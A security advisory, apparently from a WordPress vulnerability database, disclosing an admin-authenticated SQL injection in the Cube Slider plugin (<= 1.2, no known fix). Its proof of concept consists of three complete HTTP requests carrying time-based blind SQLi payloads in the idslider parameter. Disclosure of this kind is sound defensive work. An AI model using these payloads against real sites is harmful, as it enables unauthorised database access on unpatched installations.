WordPress Plugin Vulnerabilities

Cube Slider <= 1.2 - Admin+ SQLi

Description

The plugin does not sanitise and escape the idslider parameter before using it in various SQL queries, leading to SQL Injections exploitable by high privileged users such as admin

Proof of Concept

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# Request 1 (Edit)
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POST /wp-admin/options-general.php?page=cubeslider HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/options-general.php?page=cubeslider
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://localhost
DNT: 1
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

idslider=4+AND+(SELECT+3477+FROM+(SELECT(SLEEP(5)))DhVP)&edit=Click+to+edit+slider+4+details

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# Request 2 (Delete
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POST /wp-admin/options-general.php?page=cubeslider HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/options-general.php?page=cubeslider
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://localhost
DNT: 1
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

idslider=4+AND+(SELECT+3477+FROM+(SELECT(SLEEP(5)))DhVP)&delete=Click+to+delete+slider+4

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# Request 3 (Save)
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POST /wp-admin/options-general.php?page=cubeslider HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/options-general.php?page=cubeslider
Content-Type: application/x-www-form-urlencoded
Content-Length: 394
Origin: http://localhost
DNT: 1
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

idslider=6+AND+(SELECT+3477+FROM+(SELECT(SLEEP(5)))DhVP)&name=Name&about=About&title1=Title+1&description1=Description+1&title2=Title+2&description2=Description+2&title3=Title+3&description3=Description+3&title4=Title+4&description4=Description+4&icon1=fa-glass&color1=%2381d742&icon2=fa-glass&color2=%2381d742&icon3=fa-glass&color3=%2381d742&icon4=fa-glass&color4=%2381d742&submit=Save+Changes

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Daniel Krohmer (Fraunhofer IESE, Germany), Shi Chen (University of Kaiserslautern, Germany)
Submitter
Daniel Krohmer
Verified
Yes

Timeline

Publicly Published
2022-05-09 (about 2 years ago)
Added
2022-05-12 (about 2 years ago)
Last Updated
2022-05-13 (about 2 years ago)

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